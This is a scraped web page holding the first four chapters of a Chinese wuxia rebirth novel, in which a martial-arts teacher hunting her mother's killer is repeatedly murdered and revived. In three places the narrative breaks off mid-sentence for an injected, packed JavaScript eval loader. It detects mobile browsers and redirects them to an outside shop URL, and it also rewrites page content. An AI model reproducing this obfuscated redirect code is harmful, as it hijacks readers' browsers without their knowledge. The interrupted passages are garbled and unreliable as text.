《绝命十二簪》 1. 浴火重生 夜幕低垂,万籁如寂,忽见一道电光,划破幽邃,雷鸣殷殷,狂风暴雨接踵而至,宛若天河倒悬。 幽暗的庭院内,一位身影突兀地划破雨幕,悄无声息地跃入,他身着黑衣,与周遭的昏暗融为一体。 暴雨之声遮掩了他的脚步,他靠近窗边,拿出一只竹管,在管中倒入了一些粉末,一端缓缓伸入窗棂的细微间隙之中。 黑衣人深吸一口气,欲将藏在管中的迷魂散吹入屋内。 谁知那口气还未呼出,竹管已被紧紧攥住,正是那屋内之人。 就在那电光火石之间,黑衣人尚未来得及收回竹管,窗户猛然间被一股不可抗拒的力量推开,屋内之人精准无误地揪住了他的衣领,瞬间将黑衣人自窗外拽入屋内。 黑衣人摔倒在地,尘埃四起间,他迅速调整姿态,目光如炬,只见一女子披散着长发,如同怒海狂风,一脚带着凛冽之气,凌空而来,他顺势精准地扣住了那即将落下的脚踝,借力起身,将那女子狠狠拽倒,自己则站了起来。 黑衣人从袖中悄然抽出一把寒光凛冽的小刀,他单膝跪压在那欲要挣扎起身的女子身上,锋利的刀锋缓缓贴近女子的脖颈,一抹细微的血珠悄然渗出。 死亡将至,危机时刻,女子眼中却未露出半分畏惧之色,仍然十分凌厉。 “临死前,你还有什么想说的?”黑衣人已占上风,略显得意,以上位者姿态等待着来自女子的求饶。 可她并未惧怕,一双漆黑的眸子露出难以莫测的神情,只是问道:“你究竟是为何人指示?” 黑衣人只是冷哼一声,迅速挥动手中的尖刀,犹如切菜一般割开了那女子的喉咙,顿时鲜血如注。 那女子的眼神中仍旧无半分惊恐,只是冰冷地盯着他,宛若寒潭深渊,深邃而幽冷,令人不寒而栗。 女子的喉咙不断发出咕噜的声音,朱唇逐渐失去血色,变得苍白而黯淡。脖颈间鲜血汩汩流出,汇聚成一股细流,沿着她白净的衣衫缓缓滑落,染红了衣襟。 黑衣人凝视着女子那双不再闪动、宛如冰封的眼眸,缓缓收起了尖刀,他身形一展,侧身窗户翻了出去,还不忘以指尖轻轻一推,将窗户悄然合上,仿佛一切从未发生过,只留下一室寂静与窗外依旧呼啸的狂风骤雨。 随着生命之力的逐渐消散,地上的女子意识开始缓缓抽离,她的灵魂仿佛挣脱了沉重的肉身枷锁,升腾而起,向着那遥远而熟悉的地方飘去。 所到之处一片幽静的树林,薄雾笼罩,难分方向。 女子仍旧披肩散发,身着一件白衣,伫立在丛林中。 “零境,我又失败了。”女子淡然地开口,似乎同样的情形已然经历过数次。 薄雾中突然浮现另一名女子,只是两人相距甚远,看不清她的面容。 “戚研商,这次,已经很接近了。”零境开口似乎是在安慰,可仍旧带着一种难以消散的冰冷,毫无波澜,听不一丝出生气来。 两人沉默了良久,在这里察觉不到时间的流逝。 零境先开口问道:“放弃吧,斯人已去,放下执念,许你再活一世,不用参加十二簪比试了,经营好武馆,平平安安的过一辈子,如何?” 戚研商原本平静如水的内心,猛然间如同有石击落,顿时惊涛四起,放下执念? 她怎么会就此放下执念! 自掌门母亲骤逝于非命,转瞬已三度春秋。 三年前,母亲称有要事出门,将幽谷门托付与她,谁知过去数月也未归来。 后来有一弟子在后山荷花池内,发现了掌门竟溺毙于此,尸首早已腐烂。 搜寻多日,也未能找到凶手,门内弟子多传她是自杀,可戚研商怎可相信! 幽谷门是母亲多年的心血,现正处蓬勃之日,掌门怎会独自撒手人寰? 可是残酷如此,她身为孤女,武艺尚浅,独木难支幽谷门昔日辉煌之基,门内弟子皆已离散,门内长老隐归山林。这曾名震四方、弟子众多的一派,竟落得门庭冷落,辉煌不再。 戚研商毅然决然地离开了幽谷,将过去一切深埋在那里。 在繁华喧嚣的京师一隅,她悄然开设了一间武馆,在教授武艺之余,不遗余力地打听着关于母亲的一切线索,穿梭于京师的每一个角落。 然而事与愿违,母亲的猝然离世宛如犹如古卷残篇,线索尽断,无从寻觅。 后来,戚研商为求线索参与十二簪选拔,只是出师不利,一开始便丢了性命。 在意识消沉之时,是她眼前这个神秘的女子,零境,帮助她一次次获得新生,当然,也需要付出代价,只是暂时未知。 “我们的交易已经开始了,我是不会放弃的。”即使在幻境之中,戚研商仍紧握着拳,还能感到指甲嵌入掌心的疼痛。 “那这次重生可能会有点久。”零境仍然保持着那冰冷的口吻,“次数越多,你留在幻境的时间越长。” 说罢,零境便如烟般消散了。 树林中只剩下戚研商,她盘腿坐下,缓缓闭上双眼。 —— 一个月前,戚氏武馆。 练功场上,弟子们身姿矫健,拳风呼啸,龙腾虎跃。 场内多为成年弟子,唯角落处有一豆蔻年华的小丫头,正对着木桩专注的练习掌法,虽十分稚嫩,动作却利落干脆。 练了一会,总觉得对掌法掌握的不够透彻,她抬头向着站在一旁的女子问道:“戚师父,此招徒弟练得如何?” “大体尚可,细节不足,还需练习。”戚研商评价道,说罢,她轻盈地踏前几步,随着呼吸的深长与沉稳,她缓缓抬手,开始了她的演示,每一掌挥出,皆是精准无误。动作流畅而有力,拳风呼啸,每一次出击都恰到好处,既有力量的爆发,又不失控制的细腻。 小丫头看得惊喜万分,即刻鼓掌起来:“还是师父厉害!” 戚研商笑着摸了摸她的头,道:“小苗虽然年纪小,可这拳法比你师兄师姐们练习的都好,只要你勤加修炼,迟早可以超过我。” 小苗乃是京师第一镖局少主,只是父母常年在外押镖,便把小苗寄托给戚研商学武,年纪虽小,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200922|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 武学的顿悟却超脱常人,仅仅一年多的学习,已达到他人练功五年的程度。 “我才不要,”小苗撅起嘴,一把便抱住了戚研商的胳膊,撒娇道,“师父才是最厉害的,师父就如我的娘亲一样。” 听到“娘亲”二字,戚研商有些愣神,转眼到京师开武馆已有三年,却离她的目标背道而驰。 本是想通过武馆广交人脉,查出母亲死于非命的原因,可如今也一无所获,反而是武馆越开越红火。 “戚大掌柜!有您的信!”忽然有位小厮高喊着,打断了戚研商的思绪,一路小跑过来,将信塞给了她。 小厮气喘吁吁着道:“刚才有个飞镖,咻的一下就扎进了门柱子上,差点就扎着人了!这封信也一并在上面。飞镖扎得可深了,我们几个人才给拔下来。这些上写着给您收的,咱也不敢拆了。” 戚研商结果信,中心果然被扎穿了一个口子。她没着急打开,只是将信上下翻转着看了看,问道:“那飞镖呢?我瞧瞧。” 小厮招了招手,后面还跟了个人,只是走着过来,他急了,道:“你快些吧,走这么慢呢!” 那人闻言,便跑了过来,将一个布包裹着的东西递给戚研商:“我怕着玩意有毒,特意去找了块抹布包着,别伤着掌柜了。” “无事。”戚研商拆开布,将其间的飞镖取了出来,这是枚铁制飞镖,样式非常普通,尚未雕刻纹样,也没有淬毒痕迹,从表面看,难以辨别是产地何处,也无法得知主人是谁。 “你们去做事罢,小苗,你继续练,累了就去后厨帮会儿忙,马上开饭了。”戚研商向三人嘱咐道,“我先回去看看这信为何事。” 武馆虽然生意好,可也没到与同行结仇的地步,一般这种飞镖传信都带着挑衅意味,戚研商有些忐忑,她不敢在众目睽睽之下打开,生怕带来恐慌。 戚研商回了房间,将门拴上,才坐下来将信拆开。 见了信上的字,才长舒一口气,还好,并非有人寻仇,只是内容令人意外。 “戚研商启,见信安,幽谷门之事,深表痛心,近来十二簪正在秘密招安,此乃朝廷锦衣卫下组织,眼线遍布全国,望此条消息予你有用。” 之后便是介绍了如何参与十二簪的选拔,详细到每一步。 信件的最后并未署名,戚研商仔细辨认,发现从未见过此等笔迹,不知是何人所为,亦不知此人目的是什么。 “十二簪”她是听说过的,虽为朝廷组织,但其中人员都从江湖中人选拔,不乏能人异士。只是此组织神秘莫测,只知其名,从未有人见过其中一人。 传闻中,“十二簪”专门为朝廷提供江湖情报,大到国家大事,小到民间琐碎,就连某位官员那不为人知的温柔乡,有几位外室的妾室,有几个他姓的私生子,都难逃开组织精心编织的一张情报巨网。 此时她已无心去管写信之人是谁,一心只想着去参加十二簪选拔。 戚研商将那信件细读了好几遍,倘若她真的能够加入“十二簪”组织,那找到弑母的凶手便是轻而易举。 2. 丑时三刻 次日初晓,旭日已若熔金般跃于天际,光芒璀璨而炽烈。 戚研商于中庭内,召集馆内众人开会。 素来没有晨会的习惯,突然聚集于此,引得众人议论纷纷。 “长话短说,我即将离馆远行,归期未定,武馆之内,一切事务,就劳烦各位代为照料。”太阳过于耀眼,戚研商只好眯着眼睛道。 此话一出,众人顿时噤声。 昨日收信的那位小厮先开了口,道:“戚大掌柜,这……是不是遇到了什么麻烦,我们这么多人,肯定能想出办法的。” “是啊!武馆离了您那可不行!有什么事情大家一起承担啊!” “习武之人不就讲个道义,我们在武馆打杂,也一直承蒙您照顾,不然还在外面游荡呢!” “就是,我们都把掌柜的当家人了,您可不要出了什么事还瞒着咱啊!” 有一人开口,其他人纷纷复议,神色有些紧张,语气中带着关切。 戚研商在一片喧哗中,她的鼻尖猝然泛起一阵酸楚,心中涌动起一股难以言喻的触动,自幽谷门荣光不再,她常常形单影只,与自我为伴。 后来开设武馆,也向来是独来独往,一直以来的孤寂,竟在这一刻被一股莫名的暖流悄然融化。 “放心,不过是一些家中琐碎,只是处理起来比较麻烦。”戚研商眸光微敛,强抑住眼眶中欲落的珠泪,缓启朱唇道,“近来也未有新生,只要吩咐他们勤加练习就好,还有小苗,她父母还要半年才能归来,一定要照顾好了。” 众人抱拳道:“是。” —— 戚研商仅携带了几件简约行囊,一些盘缠,婉拒了众人的饯行,牵了一匹武馆中毛色光润的小马驹,踏上了向东而去的路途。 此番离开便是要前去参与十二簪选拔。 选拔并非大张旗鼓的举办,请柬也只在世家子弟中传递,倘若不是收到这样一封信,戚研商无论如何也找不到参与的方法。 戚研商按照信中所写,一路东行,在云竹县找到了一个叫“月来楼”的客栈。 本以为这里应是人烟稀少,僻静之处,没想到却是人来熙攘,热闹非凡。 客栈的小二忙得不可开交,甚至没空搭理戚研商,她只好将小马拴在客栈门口,在柜台等着掌柜回来。 “久等了久等了!客官这是来吃酒,还是小住?”过了好一会儿,才有一位女子着急忙慌地赶了过来,她顺道向小二嗔怪了一句,“你在忙也不能怠慢了客官啊。” 那是一个看着十分精明的女子,穿着华贵,眉眼中带着三分笑意。 “我需住一日中等房,身上只有一百文,掌柜的可有空房?”戚研商答道,这句话并非她本意,是按照那信上说的“暗号”而来。 掌柜上下打量了她一番,并未露出特别的神情,道:“有有有,小店小本经营,一百文绰绰有余了,这边请。”说罢,抬手邀请戚研商跟随。 信上只写了暗号,并未写应答,戚研商也不知自己说对了没有,姑且先跟着掌柜上楼了。 房间布置的整洁舒适,掌柜留下一句“晚饭稍后送来”,便离开了。 戚研商放好行囊,倚靠在床边小憩。 朦胧中似乎做了个梦,梦中有一人告诫自己勿要参与选拔,她不知这是过于紧张,还是有人托梦。 正当戚研商欲问梦中人原因时,门被叩响了。 原是来送饭的小二。 吃食还算不错,一荤两素,一碗白米饭,冒着微微热气,飘着若有似无的香气。 路途劳累了一天,戚研商早已饥肠辘辘,她先将暗号一事抛之脑后,只想着先大快朵颐。 一口一口下肚,荤菜油润,素菜清甜,米饭软糯适口,不一会便将饭菜吃得干干净净。 饭碗见底,她才发现那托盘与菜碟之间竟然有一块盖板。 揭开盖板,一块玉符,一张纸条,映入眼帘。 戚研商拿起玉符端详,玉质细腻清透,中心雕刻着一朵栩栩如生的玉兰花,不似凡品。 展开纸条,上面书写着——丑时三刻,城西破庙,携玉而来,勿带身外之物,自有人接。 此外没有任何其他信息了。 看来自己的暗号是说对了,这两个物件便是指引她下一步行动的方向。 其他尚能理解,只是为何不能携带身外之物? 戚研商习得武功并非需要武器,乃是拳脚之法,倘若其他门派需要趁手的兵器,这要求过于为难。 可转念一想,参与选拔的即使是同道中人,也都是竞争关系,这一条规定对自己来说是有利的,也并无不可,便放下心来。 戚研商看了眼窗外,金色的余晖映照着大地,此时才到黄昏时刻,离丑时还远着。 她不知今夜前行后会发生什么,自己带来的行囊还不知要如何处置,戚研商便下了楼。 大部分客人已经用完晚饭,大厅只坐着几个食客,较为冷清。 掌柜的正在柜台拨着算盘,时而发出清脆的声音,她一手翻看着账本,看起来十分悠闲。 “掌柜的,有事相求。”戚研商直截了当地开口。 掌柜闻声抬头,晃了晃手中的算盘,合上账本,勾起嘴角,笑着道:“有事请讲。” 戚研商心想,这家店通过暗号传递消息,那对她的此行目的就是一目了然,没必要说太多,她问道:“我将要离开几日,无法带着行囊,能否帮忙保存几日。” “当然可以。”掌柜又开始拨弄算盘,“不过需要收取一定的费用,具体多少,等你回来取的时候再算罢。” “多谢。”戚研商道,转身打算回去客房。 “对了,若有贵重物品还是先想办法处理了才是,我这可没法保证那么安全的。”掌柜对她的背影补充道。 戚研商便知了掌柜的意思,这贵重物品并不是名贵的物件,而指的是那封指引她参加十二簪选拔的信件。 倘若被他人发现,确实是十分危险的。 回到客房,戚研商又将那封信看了个遍,将内容牢记于心,之后便用油灯点燃烧尽了。 想了想,亦将那张纸条给烧了,携玉而来,多一点都是累赘。 —— 入夜,栈内烛火渐稀,只余几缕幽光摇曳。 戚研商将玉符系在腰间,轻声下了楼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200923|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了客栈才发现自己的小马还拴在门口,竟然把它给忘记了。 眼下暂时无法顾及,戚研商骑上了小马,向城西前去。 她心中仅存一个模糊的方向指引,未曾料到这破败庙宇竟隐匿于远离客栈的幽深之处。幸而策马而来,否则即便是身怀轻功,亦需耗时不菲方能抵达,恐怕早已错过了约定的时辰。 破庙周遭一片沉寂与幽邃交织,幸有那皎洁的月光穿透云层,洒下银辉。 约定之人还未来,戚研商只得牵着小马等待。 倏地,一阵突如其来的狂风席卷而来,将四周的落叶卷至半空,两道黑影如同鬼魅般掠过夜色,他们的轻功之高,只留下道道残影。 当这二人最终在她面前站定时,她方知这二人便是接洽之人。 只是戚研商还未看到二人模样,他们便迅速将一块布条盖在她的眼上,随即绕在脑后系紧,不过力度控制的很好,并没有勒到她。 “玉符?”其中一人问道。 戚研商已经无法视物,她从腰间摸索取出玉符,放在手心上,摊开。 那人仅是伸手摸了摸,说了句可以了,又将玉符还给戚研商。 “这马是你的?恐怕是无法带走了。”另一人从她手中拿出缰绳,说道。 “无妨,明日令人来牵去月来楼便是了。” “也可,这马养的很是不错,若是放生太可惜了。” 这两人莫名聊了起来,戚研商只得出口中断二人:“所以接下来我应该做什么?” 话音刚落,便感觉自己被二人架起,随即落入一个座椅上,之后将她的双手捆绑在扶手之上。 “怠慢了,中途不可摘下布条,也请勿发出声音。”一人道。 之后她感到自己悬空而起,自己应是坐在了轿子上,而那两人便是一前一后将她抬起。 正如二人来时般,即使抬着轿子,也未能影响二人施展轻功。 她几乎听不到脚掌踏地之声,只有耳边呼啸而过的风。 那速度极快,加之双眼无法看见,戚研商感到自己仿佛漂浮在空中一般,十分晕眩,胃中也如同翻江倒海。 戚研商只好用内力压下那股恶心,好在在她实在忍受不住前,停了下来。 “到了。”轿子被放了下来,随后手腕上的绳结也被解开。 戚研商还在等待着被帮她拿下掩面的布条,谁知过了好一会也没有动作。 她只好揉了揉酸涩的手腕,自己解开了布条。 这才发现,自己身在一座宅邸之前,她还坐在轿子之上,只是那抬轿二人早已离开,还剩下她在这里等着。 天色依旧昏暗,宅邸的牌匾两侧悬挂着火光暗淡的灯笼,戚研商的双眼有些模糊,看不清那牌匾上写的何字。 戚研商起身叩门,无人应答。 她深吸一口气,双手轻轻搭在那扇看似有些破旧的木门上,用力一推。 踏入门槛,眼前的庭院同样破败,月光透过稀疏的云层,洒下斑驳陆离的光影,唯有几盏昏黄的灯笼还在随风摇曳。 只是正前方不远处的正厅,虽紧闭着门,亦可看见缝隙中泄露出明亮的光。 3. 贰拾捌号 走进了些,戚研商才听见正厅中有人说话。 她靠近门边,抬手正准备敲门,那门忽然被从内打开了。 开门的是一个长相清秀的女子,她笑眼盈盈,一言未发,拉着戚研商的手便进了屋内。 正厅内灯火通明,摆放着好几张桌子,不少人落座于此,正相言甚欢。 落座之人皆为青年男女,衣着繁复精致,配饰璀璨夺目,可见均是来自各大世家,非凡夫子弟。 接应的女子带她在一处入座,自我介绍道:“我乃陀城林家小女林霁荷,你呢?” 陀城林家?戚研商想起此家曾经在武林中有过一席之地,只是后来家主被奸人所害,从此衰落了不少。 林家的处境与幽谷门极为相似,虽然没有沦落到自家败落的地步,可戚研商仍然有种同道中人的悲悯之心。 不过此时并不能揭露自己的真实身份,戚研商只道是:“我来自京师,戚氏武馆,戚研商。” 戚氏武馆名不见经传,来自世家的林霁荷从未听说过,略显好奇:“戚氏师从何处?小女孤陋寡闻,未从听说过。” “江湖拳脚罢了。”戚研商自谦,她又想起能到此处之人皆为权贵,自己身份低微甚是有些可疑,补充道,“我来此处是有一江湖友人介绍而来,只是收到飞鸽传书,还不太了解,林姑娘能否解惑一二?” 林霁荷只听得对方说为友人介绍,心中虽有疑虑,不过也可理解。虽然此次十二簪收编的消息只在名门中散播,也未说不可外泄,只是大部分世家不愿告知他人,增加竞争对手。戚研商口中的“友人”,能如此大度引渡他人,想必眼前的女子身份非同一般。 “且问便是,愿意效劳。”林霁荷道。 “多谢林姑娘,眼下此处是正在商讨什么?为何也未见有组织者现身?”戚研商发现进入此地之后,应有侍卫或者小厮接洽,大厅也应有仆人供茶,为何现在似乎只有这些世家子弟在此聊天? 林霁荷掩面而笑,说道:“那是因为你来晚了,今夜本是有接迎会的,都已经散场了,大部分人已经回去休整了,我这不是刚打算出去,就碰上你了。” 怎会来晚呢?那纸条上便是约定好时刻才来接她,为何刚到就错过了接迎会。 “那这接迎会上说了什么?”戚研商问道。 林霁荷略加思索,答道:“倒是没说什么,一些光鲜亮丽的漂亮话罢了,什么欢迎词之类的,不听也可,之后给我们分了房间,啊对了,你来晚了,这可要如何。” “那此处可有柴房之类的地方?将就一晚也尚可。”戚研商不太在乎这些。 “那可不行!”林霁荷微微蹙眉,露出有些紧张的神情,“你且坐着,我去找找人呢。” 说罢,林霁荷便起身出了门,留下戚研商独自坐在这里。 刚才只是粗略观察了一下,此刻戚研商便有时间仔细看看这些世家子弟了。 从他们的外貌上看,应该是与林霁荷相似,都是世家血脉。 其中有几人可以明显认出来自何门何派,皆是目前在武林中拥有一席之地,众多弟子的名门望族。 可以说,若是子女进入十二簪,那所属门派在武林中地位势必能够更上一层,他们几乎是背负着家族荣誉而来。 还未来得及继续深想,林霁荷带着一人回来了,那人穿着墨色锦衣,头上亦有同色发冠,应该是朝廷之人。 “在下荀惜维,不知为何传递消息有误,接你的人来晚了,怠慢了姑娘,不好意思。”荀惜维双手抱拳,微微倾身,道。 林霁荷打圆场道:“荀大人也不必抱歉,都是那接应之人的错,戚姑娘虽然来晚了,可也没错过明日的大会,不算太耽误事。” 戚研商向荀惜维作揖,道:“林姑娘说的是,倒是我来晚了,耽误了大人休息。” 荀惜维摆了摆手,从袖口拿出一把铜制钥匙,递给戚研商:“倒是没有耽误,若不是林姑娘来找我,只能麻烦姑娘睡在柴房了。”说着哈哈大笑起来。 “哪有这个道理,若真没地方睡,戚姑娘与我挤一挤也可以的。”林霁荷打趣道。 戚研商接过钥匙,又作了个揖:“多谢林姑娘解围,麻烦荀大人带我前去厢房了。” 于是戚研商跟着荀惜维出了大厅,林霁荷要求陪同二人,也跟着一起出去。 离开了正厅,外面仍旧是灯火昏暗。 荀惜维提了一盏小灯在前,两人跟在后。 前往厢房的路有些曲折,戚研商不记得拐了多少个弯,并且天色实在太暗,她甚至无法确认自己走在哪条道上。 林霁荷紧紧拉着她的手,似乎对这里很熟悉,刚才出门去找荀惜维,没一会儿就领着人归来,若是让戚研商自己找路,可能就无法回来了。 不知走了多远,三人终于停了下来。 “到了,这间屋子就给戚姑娘住吧。”荀惜维拿出一个火折子,“屋里有油灯,进去点上即可,屋里还有换洗衣服和一些洗漱用品,可以随便用。” 戚研商点点头,用钥匙打开了门,吱呀一声推开,屋内应该有人已经打扫过了,并没有灰尘袭来。 荀惜维仍提着灯在门口,戚研商借着火光进了屋子,用火折子点燃了桌上的油灯,房间瞬间光亮了起来。 “那戚姑娘早点休息吧,我先告退了。”荀惜维没有停留片刻,直接离开了。 而林霁荷却跟进了屋子,似乎在打量着什么。 戚研商将屋中的油灯一一点亮,看着还没离开的林霁荷,问道:“林姑娘,真的是谢谢你了。不过现在已经很晚了,林姑娘还不回去歇息吗?” 林霁荷已经着手帮戚研商铺好了床铺,道:“我就是想看看住所可有不同,看来大家都是一样的。” “不过那荀大人提着灯走了,我独自回去怕是看不见,能否借一盏油灯?明日还你。”林霁荷面露愁容。 戚研商心想,刚才她跟着荀惜维回去便是了,看屋子不能明日再看吗? 不过林霁荷为人热情,应该也不是坏人,便拿起窗角那盏灯,道:“少一盏也不碍事,这盏给你,不过要小心,捏着下面的柱子才不烫手。” 林霁荷接过油灯,笑眯眯地说:“那我先回去了,早日歇息。” “你也是,早点休息。” —— 林霁荷走后,戚研商锁上了房门。 正如荀惜维所说,房间内配备齐全,一开始她还担心没有带行囊,会非常不方便,看来朝廷十分重视十二簪选拔,布置房间也动用了不少钱财。 拉开衣柜,里面有好几套提供换洗的衣衫,甚至尺寸齐全,颜色各异,被子枕头也都是是崭新的。屋内的桌椅柜子以及床铺,可以看出都是用极其昂贵的木材制成。 房间内甚至还有一小盆载满了清水,以供洗漱。 戚研商稍作清洗,忍不住打了个哈欠,虽然下午也休了一会儿,可是晚上乘坐那轿子,颠得自己头昏脑涨,到现在也没能缓过来。 坐在床边,突然发现桌上那盏灯下,似乎还压着一块很小的木板。 戚研商将木板拿起,发现是一块牌子,上面刻贰拾捌,另一面刻着人在牌在,右下角还有一朵玉兰花。 这图案甚是熟悉,戚研商拿出腰间的玉符,确实是一模一样的。 这块木牌很有可能是作为编号,让人随身携带的。 戚研商将玉符与木牌拴在了一起,又系在了腰间。 忽然感到一阵恍惚,戚研商太困了,她吹灭了烛火,躺上床休息了。 脑袋很沉,戚研商便迷迷糊糊进入了梦乡,梦里又出现她在客栈时梦到的那个人,不过这次那人不是劝解,而是告诉她快跑! 这是一个噩梦! 戚研商被惊得猛然坐起,屋内烛火早已熄灭,漆黑一片,外面虽有月光映入,可还是看不真切。 屋内十分安静,还能听到屋外的风声,与树叶摆动的簌簌声。 她长舒一口气,还好没有任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200924|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何事情发生,躺下准备重新入眠。 可此时却见那原本映照在地上的一寸月光,竟然被遮住了一些,戚研商以为是幻觉,她用力晃了晃头,屏住呼吸再看,月光确确实实被遮住了,再往上一看,原本只有树影的窗上,竟然映照出一个人影! 未等戚研商反应过来,屋外那人一脚踹开了窗户,直冲她扑来。 那人背着光,虽然没有遮面,戚研商也无法看清那人的长相。 戚研商连忙翻身摔下了床,身体撞得生疼,那人扑了个空,转头就要向她继续袭来。 戚研商本就有些昏沉,又摔在地上,全身失了力气,只能用胳膊撑着地,想要爬起来。 那人趁她还没有爬起,一脚猛踹她的肚子,戚研商再次摔倒在了地上。 这人冲着她的性命来的! 可眼下已经没有保命的方法,只能任由那人将自己的口鼻捂住,之后便感觉有一尖锐物品刺进了自己的胸口,她痛的想要大喊,却只能发出呜咽声。 为什么有人会突然对她下手?难道是刚才离去的林霁荷? 在意识消散之际,那人扯下了她腰间的木牌,轻轻念道:“贰拾捌号。” 这是一个男人的声音,此人并不是林霁荷,可他又是谁呢…… 恐怕她再也无法得知,戚研商只感觉自己的胸口不断地流出液体,头越来越昏沉,身体逐渐感觉不到疼痛,只是觉得越发的寒冷,越发的口渴。 不知为何,四周突然弥散开了云雾,黑夜也逐渐转为如清晨时的微光。 戚研商的身体变得轻飘飘的,她的胸口也不再流血,力气也恢复了。 这难道是死后的世界吗? 戚研商站了起来,没有一丝不适,环顾四周,发现身处之地是一片白雾茫茫的森林。 她尝试向各方向走,可是周围环境没有一丝改变,仍是在原地踏步。 倏然,前方聚集起一大团云雾,消散后,竟出现了一名女子,只是云雾遮挡着她的脸,无法看清。 “戚研商,我警告过你两次,为何还在这里见到你?”那女人的声音好似贴在她的耳边说话,十分清晰。 “什么警告?”戚研商想要靠近那人,发现两人之间的距离一直保持不变。 “一次让你放弃选拔,一次让你快逃……”女人的语气十分冰冷。 原来那那两次梦境,是这个人带给自己的。 “我有要事,必须参与选拔,第二次,你提醒的太迟了。而且,你是何人?我现在成了孤魂野鬼了吗?”戚研商不太信鬼神,只是她无法解释现在的情况。 女人缓缓道:“不,我叫零境。你可以理解为每个人都带着因果降世,而你的因果出了问题,我是来帮助你的。” “可我已经死了,你要怎么帮助我?诈尸?”戚研商想着,若是明天自己活蹦乱跳的去参加大会,那今夜杀他之人肯定会吓个半死。 “不,我会帮你重生,重生到来这里之前。你的因果已经开始,需要你自己破除。”零境说道。 竟然可以重生?戚研商十分诧异,她突然想起了什么,正准备说,零境却先一步开口了:“仅限于你,不可以给别人。” 看来零境知道自己打算把这个机会让给母亲,得到这个回答,她有些泄气。 “那好吧,若又死了,我能重生几次呢?有没有代价?”戚研商问道。 “只要你愿意,可以一直重生。代价是……如若你完成了因果,代价我再告诉你。”零境的声音似乎有些偏远,森林中的雾也越来越大了。 零境似乎有消失的迹象。 戚研商着急地向前走了几步:“等等,我还有想问你的!” “时间不早了,你先回去吧。” 零境的声音越飘越远,雾已经浓得看不清方向,戚研商只觉得一阵眩晕袭来,她不受控制的倒在了地上。 再睁眼,戚研商发现自己正躺在武馆的房间里,地上,还有她收拾了一半的行囊。 4. 墨衣墨冠 是重生了吗?或许只是黄粱一梦? 戚研商看着熟悉的房间,有些恍惚,重生这件事过于离奇,怎会出现在话本之外,出现在自己身上。 她摸了摸胸口,那把尖刀刺入的钝痛似乎还能感受到,那种失血后全身像是陷入冰窖般的彻骨寒冷,仍旧停留在记忆里。 戚研商拾起地上的行囊,只是放了些盘缠与贴身物件,将多余的东西取了出来,索性将那封收到的神秘信件也烧了,反正已经记得很清楚了。 若那不是梦,这些行囊带着也麻烦。 推开房门,屋外的光线有些刺眼,戚研商伸出一臂轻探,任那阳光轻轻攀附其上,不多时,暖意自指尖流淌至全身,终于将她从那朦胧的心霾中拉出。 院前正在打扫落叶的小厮,见戚研商站在门口,便立刻跑了过来,问:“掌柜的,现在就要走了吗?” 此话一出,引得院里不少人都跑了过来,想要为戚研商践行。 此景与之前一模一样,戚研商确切的感觉到,她真的重生了。 戚研商抱拳表示感谢,道:“不麻烦大家送我了,能否帮我叫一辆马车?”。 “掌柜的,家里养了不少马,随意牵一匹便是了,何必叫马车呢。”小厮感到有些奇怪,说出口后又觉得有些僭越了,“不过掌柜的想坐马车,我这就去叫马夫来。” 骑马确实方便,只是戚研商想起上次那匹小马被拴在破庙外,也不知道那些人后来有没有将它送回客栈,若是这次还将它遗落在外,着实有些对不起它。 没一会儿,马车便到了武馆门口。 “姑娘,你要去哪?”马夫问。 “东行,月来楼。”戚研商看着马夫牵着的骏马,比武馆里那些小马要健壮许多,她侧身,钻入了轿厢。 马夫挥动长鞭,骏马拖着轿厢向东边驶去。 路途不远不近,马夫似乎感到无聊,开口搭话道:“这月来楼地方偏僻,姑娘去哪里做什么?” “……见一个友人。”戚研商随口回答。 “呵,那你这友人挺有意思。可能你在京师不知道,这月来楼所在的云竹县常年有人失踪,客栈的掌柜又时不时会售卖一点名贵的金银首饰,这因果关系还不了然,传言啊,这就是个土匪客栈。”马夫缓缓说道。 怪不得自己让那掌柜帮忙保管行囊,答应的如此干脆,看来是盘算着只管进,不管出。 不过这客栈与朝廷又联系,被用于接洽参与选拔之人,却又行如此之事,难道打的就是自己回不来的主意? 戚研商还在琢磨,马夫却停下了马车,掀开帘子与她道:“姑娘,到了。” “这就到了?”戚研商跳下马车,发现确实是在月来楼前,可她记得上次独自骑马来时,耗费了不少时间。 马夫接过戚研商给的铜币,道:“那可不,若是走官道确实远,我对这边熟悉,从近道过来的,当然快得多。” 他将马车调了个头,冲戚研商挥手,打算离开,走之前又嘱咐了句:“姑娘独自一人还是小心些。” “我会的,多谢。” 客栈内依旧人头攒动,热闹非凡。 不过这次掌柜的正站在柜台前,给客人算账。 待前一名客人离开,戚研商迎了上去。 